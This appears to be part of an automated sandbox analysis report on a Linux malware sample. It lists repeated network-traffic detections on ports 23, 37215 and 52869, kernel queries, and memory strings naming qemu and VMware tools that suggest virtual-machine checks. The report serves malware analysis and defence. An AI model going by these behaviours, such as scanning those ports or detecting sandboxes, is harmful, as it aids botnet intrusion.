Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 53332
Source: unknown	Network traffic detected: HTTP traffic on port 36970 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 53356
Source: unknown	Network traffic detected: HTTP traffic on port 59640 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 53374
Source: unknown	Network traffic detected: HTTP traffic on port 56854 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45236 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58106 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35474 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 51456 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43598 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37536 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 58430 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 53380
Source: unknown	Network traffic detected: HTTP traffic on port 43294 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34814 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34148 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 53382
Source: unknown	Network traffic detected: HTTP traffic on port 40304 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 53386
Source: unknown	Network traffic detected: HTTP traffic on port 39144 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 36970 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 53390
Source: unknown	Network traffic detected: HTTP traffic on port 57978 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 53398
Source: unknown	Network traffic detected: HTTP traffic on port 51456 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58304 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 53400
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 53404
Source: unknown	Network traffic detected: HTTP traffic on port 41440 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 58600 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 60228 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43294 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34814 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 53414
Source: unknown	Network traffic detected: HTTP traffic on port 36970 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 47916 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 53418
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 53426
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 53432
Source: unknown	Network traffic detected: HTTP traffic on port 49258 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 53442
Source: unknown	Network traffic detected: HTTP traffic on port 43902 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 53446
Source: unknown	Network traffic detected: HTTP traffic on port 58430 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 53454
Source: unknown	Network traffic detected: HTTP traffic on port 34198 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 53458
Source: unknown	Network traffic detected: HTTP traffic on port 51456 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39144 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 53462
Source: unknown	Network traffic detected: HTTP traffic on port 40304 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47200 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52602 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 53470
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 53476
Source: unknown	Network traffic detected: HTTP traffic on port 37756 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40758 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41918 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 53486
Source: unknown	Network traffic detected: HTTP traffic on port 36970 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 34814 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43294 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 53498
Source: unknown	Network traffic detected: HTTP traffic on port 57978 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58652 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42348 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46952 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 58516 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 34594 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 46174 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32922 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51278 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43682 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 53032 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53642 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 53128 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 53690 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 60890 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51738 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 46406 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44314 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51278 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58034 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 52096 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58034 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 36826 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51456 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46406 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32976 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53580 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55388 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51278 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58430 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 58034 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 33214 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 37002 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39144 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 32856 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46008 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46406 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58064 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 36970 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 60802 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 43598 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40304 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43294 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34814 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58064 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 58034 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 51278 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47916 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 39214 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55754 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52778 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60032 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37215 -> 52778
Source: unknown	Network traffic detected: HTTP traffic on port 36826 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52096 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60228 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37215 -> 60032
Source: unknown	Network traffic detected: HTTP traffic on port 58064 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 39944 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36600 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 46406 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34148 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 55754 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57242 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 57978 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55754 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58064 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 58034 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 57386 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 57562 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51278 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52602 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 60938 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60980 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 55754 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52096 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36826 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39472 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 50826 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 44404 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46406 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51456 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47200 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49372 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 34594 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 35732 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 51880 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 58064 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 58304 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 35732 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 35732 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 58430 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 43902 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55754 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36970 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 44080 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 33818 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39144 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 58034 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 47628 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44080 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 55564 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 43294 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33196 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34814 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47628 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35732 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 46952 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 40304 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44080 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 38518 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55564 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 41722 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47628 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41120 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 55564 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 43682 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 37536 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 35510 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51278 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47628 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38512 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44080 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 52658 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 55516 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 38512 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51738 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 46174 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51312 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58356 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59520 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55564 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 47744 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52658 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 55516 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 38512 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35732 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 51312 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46406 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36826 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52096 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47744 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58064 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 50690 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51312 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52658 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 55516 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 47628 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45902 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59102 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 47744 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38512 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 47860
Source: unknown	Network traffic detected: HTTP traffic on port 50690 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47916 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 32922 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 47882
Source: unknown	Network traffic detected: HTTP traffic on port 44080 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 47886
Source: unknown	Network traffic detected: HTTP traffic on port 55754 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50690 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 47894
Source: unknown	Network traffic detected: HTTP traffic on port 37922 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45324 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 56868 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 57452 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 51076 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 47744 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51312 -> 37215

Source: /usr/sbin/logrotate (PID: 6197)	Truncated file: /var/log/cups/access_log.1			Jump to behavior
Source: /usr/sbin/logrotate (PID: 6197)	Truncated file: /var/log/syslog.1			Jump to behavior

Source: /usr/bin/find (PID: 6262)	Queries kernel information via 'uname':			Jump to behavior
Source: /tmp/O0yR6BYAeD (PID: 6284)	Queries kernel information via 'uname':			Jump to behavior

Source: 6268.22.dr	Binary or memory string: -9915837702310A--gzvmware kernel module
Source: 6268.22.dr	Binary or memory string: -1116261022170A--gzQEMU User Emulator
Source: 6268.22.dr	Binary or memory string: qemu-or1k
Source: 6268.22.dr	Binary or memory string: qemu-riscv64
Source: 6268.22.dr	Binary or memory string: {cqemu
Source: 6268.22.dr	Binary or memory string: qemu-arm
Source: 6268.22.dr	Binary or memory string: (qemu
Source: 6268.22.dr	Binary or memory string: qemu-tilegx
Source: 6268.22.dr	Binary or memory string: qemu-hppa
Source: 6268.22.dr	Binary or memory string: q{rqemu%
Source: 6268.22.dr	Binary or memory string: )qemu
Source: 6268.22.dr	Binary or memory string: vmware-toolbox-cmd
Source: 6268.22.dr	Binary or memory string: qemu-ppc
Source: O0yR6BYAeD, 6284.1.00000000ca7fc853.00000000cd06a181.rw-.sdmp, O0yR6BYAeD, 6293.1.00000000ca7fc853.00000000cd06a181.rw-.sdmp, O0yR6BYAeD, 6298.1.00000000ca7fc853.00000000cd06a181.rw-.sdmp, O0yR6BYAeD, 6309.1.00000000ca7fc853.00000000cd06a181.rw-.sdmp, O0yR6BYAeD, 6300.1.00000000ca7fc853.00000000cd06a181.rw-.sdmp	Binary or memory string: <x86_64/usr/bin/qemu-mips/tmp/O0yR6BYAeDSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/O0yR6BYAeD
Source: 6268.22.dr	Binary or memory string: Tqemu9
Source: 6268.22.dr	Binary or memory string: qemu-aarch64_be
Source: 6268.22.dr	Binary or memory string: 0qemu9
Source: 6268.22.dr	Binary or memory string: qemu-sparc64
Source: 6268.22.dr	Binary or memory string: qemu-mips64
Source: 6268.22.dr	Binary or memory string: vV:qemu9
Source: 6268.22.dr	Binary or memory string: qemu-ppc64le
Source: 6268.22.dr	Binary or memory string: <glib::param::uint64Glib::Param::UInt643pm315820097650A--gzWrapper for uint64 parameters in GLibx86_64-linux-gnu-ld.gold-1116112426130B--gzThe GNU ELF linkerprinter-profile-1115804162510A--gzProfile using X-Rite ColorMunki and Argyll CMSgrub-fstest-1116214898500A--gzdebug tool for GRUB filesystem driversxdg-user-dir-1115483406210A--gzFind an XDG user dirkmodsign-1115569251480A--gzKernel module signing toolsensible-editor-1115739932820A--gzsensible editing, paging, and web browsingminesMines6615854478170Cgnome-mines-gzinputattach-1115708189280A--gzattach a serial line to an input-layer devicegapplication-1116155671180A--gzD-Bus application launcherip-tunnel-8815816145190A--gztunnel configurationkoi8rxterm-1116140167530A--gzX terminal emulator for KOI8-R environmentsfoo2hiperc-wrapper-1115804162510A-tgzConvert Postscript into a HIPERC printer streamcryptsetup-reencrypt-8816002888050A--gztool for offline LUKS device re-encryptionsyndaemon-1115861716810A--gza program that monitors keyboard activity and disables the touchpad when the keyboard is being used.gslj-1115980290200B--gzFormat and print text for LaserJet printer using ghostscriptfile2brl-1115757179490A--gzTranslate an xml or a text file into an embosser-ready braille filexfdesktop-settings-1115793419820A--gzDesktop settings for Xfceua-1115856013570B--gzManage Ubuntu Advantage services from Canonicallatin4-7715812813670B--gzISO 8859-4 character set encoded in octal, decimal, and hexadecimalsane-genesys-5516003468200A--gzSANE backend for GL646, GL841, GL843, GL847 and GL124 based USB flatbed scannerspdftohtml-1115853266670A--gzprogram to convert PDF files into HTML, XML and PNG imagesbluetooth-sendto-1116015653360A--gzGTK application for transferring files over Bluetoothqemu-ppc64-1116261022170B--gzQEMU User Emulatorcache_metadata_size-8815811608350A--gzEstimate the size of the metadata device needed for a given configuration.net::dbus::exporterNet::DBus::Exporter3pm315773746310A--gzExport object methods and signals to the bussane-pint-5516003468200A--gzSANE backend for scanners that use the PINT device driverbpf-helpers7-7715812813670A--gzlist of eBPF helper functionsfull-4415812813670A--gzalways full devicelogin-1115906478670A--gzbegin session on the systemcups-snmp-8815877390340A--gzcups snmp backend (deprecated)ordchr-3am315728089600A--gzconvert characters to strings and vice versasosreport-1116092694050A--gzCollect and package diagnostic and support datatop-1115827827270A--gzdisplay Linux processesuri::_punycodeURI::_punycode3pm315811897880A--gzencodes Unicode string in Punycodettytty4tty1systemd-localed-8816268940210B--gzLocale bus mechanismlvmsadc-8815816289110
Source: 6268.22.dr	Binary or memory string: vmware
Source: 6268.22.dr	Binary or memory string: qemu-cris
Source: 6268.22.dr	Binary or memory string: libvmtools
Source: 6268.22.dr	Binary or memory string: qemu-m68k
Source: 6268.22.dr	Binary or memory string: qemu-xtensa
Source: 6268.22.dr	Binary or memory string: 9qemu
Source: 6268.22.dr	Binary or memory string: qemu-sh4
Source: 6268.22.dr	Binary or memory string: Dprezip-bin-1116269780060A--gzprefix zip delta word list compressor/decompressornameif-8815490444730A--gzname network interfaces based on MAC addressesxdg-user-dirs-update-1115483406210A--gzUpdate XDG user dir configurationip-link-8815816145190A--gznetwork device configurationhpsa-4415812813670A--gzHP Smart Array SCSI driverhd4-4415812813670A--gzMFM/IDE hard disk devicessane-canon630u-5516003468200A--gzSANE backend for the Canon 630u USB flatbed scannersg_copy_results-8815825816070A--gzsend SCSI RECEIVE COPY RESULTS command (XCOPY related)grub-macbless-8816214898500A--gzbless a mac file/directoryntfstruncate-8815568625640A-tgztruncate a file on an NTFS volumelessfile-1115936459130B--gz"input preprocessor" for less.sane-artec-5516003468200A--gzSANE backend for Artec flatbed scannersrmdir-1115676799200A--gzremove empty directoriessystemd-networkd-wait-online.service-8816268940210A--gzWait for network to come onlinemkfs.ntfs-8815568625640B-tgzcreate an NTFS file systemsg_inq-8815825816070A--gzissue SCSI INQUIRY command and/or decode its responseradattr.so-8815955079440Cpppd-radattr-gzc_rehash-1ssl116164130370B--gzCreate symbolic links to files named by the hash valuestc-htb-8815816145190A--gzHierarchy Token Bucketgvfs-open-1115868766090A--gzsg_rbuf-8815825816070A--gzreads data using SCSI READ BUFFER commandglib-compile-schemas-1116155671180A--gzGSettings schema compileropenssl-srp-1ssl116164130370B--gzmaintain SRP password fileopenssl-rehash-1ssl116164130370B--gzCreate symbolic links to files named by the hash valueslibvmtools-3315837702310A--gzvmware shared librarypasswd5-5515906478670A--gzthe password filenet::dbus::dumperNet::DBus::Dumper3pm315773746310A--gzStringify Net::DBus objects suitable for printingsane-hp4200-5516003468200A--gzSANE backend for Hewlett-Packard 4200 scannersposixoptions-7715812813670A--gzoptional parts of the POSIX standardnetworkmanager.confNetworkManager.conf5516002723180A--gzNetworkManager configuration fileownership-8815771238010A--gzCompaq ownership tag retrieveroakdecode-1115804162510A--gzDecode an OAKT printer stream into human readable form.gvfs-save-1115868766090A--gzmkfs.minix-8815953177680A--gzmake a Minix filesystemuri7-7715812813670A--gzuniform resource identifier (URI), including a URL or URNedit-1115714399500B--gzexecute programs via entries in the mailcap filegit-diff-files-1116148628880A--gzCompares files in the working tree and the index.ldaprc-5516136581350Cldap.conf-gzpactl-1116219586470A--gzControl a running PulseAudio sound servertempfile-1115756848240A--gzcreate a temporary file in a safe mannerhp-check-1115857238880A--gzDependency/Vers
Source: 6268.22.dr	Binary or memory string: .qemu{
Source: 6268.22.dr	Binary or memory string: qemu-ppc64abi32
Source: 6268.22.dr	Binary or memory string: qemu-ppc64
Source: 6268.22.dr	Binary or memory string: qemu-i386
Source: 6268.22.dr	Binary or memory string: qemu-x86_64
Source: 6268.22.dr	Binary or memory string: H~6\nqemu*q
Source: 6268.22.dr	Binary or memory string: @qemu
Source: 6268.22.dr	Binary or memory string: Fqqemu
Source: 6268.22.dr	Binary or memory string: N4qemu
Source: 6268.22.dr	Binary or memory string: ~6\nqemu*q
Source: O0yR6BYAeD, 6284.1.00000000be62b12f.0000000081236f3e.rw-.sdmp, O0yR6BYAeD, 6293.1.00000000be62b12f.0000000081236f3e.rw-.sdmp, O0yR6BYAeD, 6298.1.00000000be62b12f.0000000081236f3e.rw-.sdmp, O0yR6BYAeD, 6309.1.00000000be62b12f.0000000081236f3e.rw-.sdmp, O0yR6BYAeD, 6300.1.00000000be62b12f.0000000081236f3e.rw-.sdmp	Binary or memory string: U!/etc/qemu-binfmt/mips
Source: 6268.22.dr	Binary or memory string: qemu-mips64el
Source: 6268.22.dr	Binary or memory string: hqemu
Source: 6268.22.dr	Binary or memory string: &mqemu
Source: 6268.22.dr	Binary or memory string: $qemu
Source: 6268.22.dr	Binary or memory string: qemu-sparc
Source: 6268.22.dr	Binary or memory string: qemu-microblaze
Source: 6268.22.dr	Binary or memory string: qemu-user
Source: 6268.22.dr	Binary or memory string: qemu-aarch64
Source: 6268.22.dr	Binary or memory string: qemu-sh4eb
Source: 6268.22.dr	Binary or memory string: iqemu
Source: 6268.22.dr	Binary or memory string: qemu-mipsel
Source: 6268.22.dr	Binary or memory string: qemuP`
Source: 6268.22.dr	Binary or memory string: qemu-alpha
Source: 6268.22.dr	Binary or memory string: qemu-microblazeel
Source: 6268.22.dr	Binary or memory string: \qemu
Source: 6268.22.dr	Binary or memory string: qemu-xtensaeb
Source: 6268.22.dr	Binary or memory string: qemu-mipsn32el
Source: 6268.22.dr	Binary or memory string: SAqemu
Source: 6268.22.dr	Binary or memory string: Vqemu
Source: 6268.22.dr	Binary or memory string: qemu-mipsn32
Source: 6268.22.dr	Binary or memory string: qemuAU
Source: 6268.22.dr	Binary or memory string: qemu-riscv32
Source: 6268.22.dr	Binary or memory string: qemu-sparc32plus
Source: 6268.22.dr	Binary or memory string: 7,qemu
Source: 6268.22.dr	Binary or memory string: qemu-s390x
Source: O0yR6BYAeD, 6284.1.00000000be62b12f.0000000081236f3e.rw-.sdmp, O0yR6BYAeD, 6293.1.00000000be62b12f.0000000081236f3e.rw-.sdmp, O0yR6BYAeD, 6298.1.00000000be62b12f.0000000081236f3e.rw-.sdmp, O0yR6BYAeD, 6309.1.00000000be62b12f.0000000081236f3e.rw-.sdmp, O0yR6BYAeD, 6300.1.00000000be62b12f.0000000081236f3e.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/mips
Source: 6268.22.dr	Binary or memory string: vmware-checkvm
Source: 6268.22.dr	Binary or memory string: qemu-nios2
Source: O0yR6BYAeD, 6284.1.00000000ca7fc853.00000000cd06a181.rw-.sdmp, O0yR6BYAeD, 6293.1.00000000ca7fc853.00000000cd06a181.rw-.sdmp, O0yR6BYAeD, 6298.1.00000000ca7fc853.00000000cd06a181.rw-.sdmp, O0yR6BYAeD, 6309.1.00000000ca7fc853.00000000cd06a181.rw-.sdmp, O0yR6BYAeD, 6300.1.00000000ca7fc853.00000000cd06a181.rw-.sdmp	Binary or memory string: /usr/bin/qemu-mips
Source: 6268.22.dr	Binary or memory string: qemu-armeb
Source: 6268.22.dr	Binary or memory string: -4415868968400A--gzVMware SVGA video driver
Source: 6268.22.dr	Binary or memory string: 7xml::parser::style::streamXML::Parser::Style::Stream3pm315701248990A--gzStream style for XML::Parsersystemd-timedated-8816268940210B--gzTime and date bus mechanismxfce4-keyboard-settings-1115867081120A--gzKeyboard settings for Xfcepygettext2-1115841026830B--gzPython equivalent of xgettext(1)sudoedit-8816110660620B--gzexecute a command as another userintro7-7715812813670A--gzintroduction to overview and miscellany sectionsprof-1115812813670A--gzread and display shared object profiling datadhclient.conf-5516219398220A--gzDHCP client configuration filepam_group-8815953742440A--gzPAM module for group accesssystemd-ask-password-1116268940210A--gzQuery the user for a system passwordupdate-dictcommon-hunspell-8815422954860A--gzrebuild hunspell database and emacsen stuffqemu-nios2-1116261022170B--gzQEMU User Emulatorlwp::useragentLWP::UserAgent3pm315750405830A--gzWeb user agent classgpgcompose-1115838662460A--gzGenerate a stream of OpenPGP packetsecho-1115676799200A--gzdisplay a line of textio::socket::ssl::utilsIO::Socket::SSL::Utils3pm315817106800A--gz- loading, storing, creating certificates and keyscurl-1116268709580A--gztransfer a URLgetcap-8815819434600A--gzexamine file capabilitieszegrep-1115762517060B--gzsearch possibly compressed files for a regular expressiongrub-syslinux2cfg-1116214898500A--gztransform syslinux config into grub.cfgrtc-4415812813670A--gzreal-time clockglib::codegenGlib::CodeGen3pm315820097650A--gzcode generation utilities for Glib-based bindings.wpa_cli-8816146062790A--gzWPA command line clientiso_8859_3-7715812813670B--gzISO 8859-3 character set encoded in octal, decimal, and hexadecimaliso_8859-9-7715812813670A-tgzISO 8859-9 character set encoded in octal, decimal, and hexadecimallvextend-8815816289110A--gzAdd space to a logical volumeresolvectl-1116268940210A--gzResolve domain names, IPV4 and IPv6 addresses, DNS resource records, and services; introspect and reconfigure the DNS resolverchgrp-1115676799200A--gzchange group ownershipsystemd-cgls-1116268940210A--gzRecursively show control group contentspygettext3.8-1113852085880A--gzPython equivalent of xgettext(1)ping4-8815804258830B--gzsend ICMP ECHO_REQUEST to network hostsidmapwb-8816000845410A--gzwinbind ID mapping plugin for cifs-utilsapturl-gtk-8815799493830B--gzgraphical apt-protocol interpreting package installersane-epsonds-5516003468200A--gzSANE backend for EPSON ESC/I-2 scannersgvfs-monitor-file-1115868766090A--gzrstart-1115829564830A--gza sample implementation of a Remote Start clientgit-stage-1116148628880A--gzAdd file contents to the staging areatc-pedit-8815816145190A--gzgeneric packet editor actioniptables-save-881582899
Source: 6268.22.dr	Binary or memory string: I_qemu
Source: 6268.22.dr	Binary or memory string: -1116261022170B--gzQEMU User Emulator
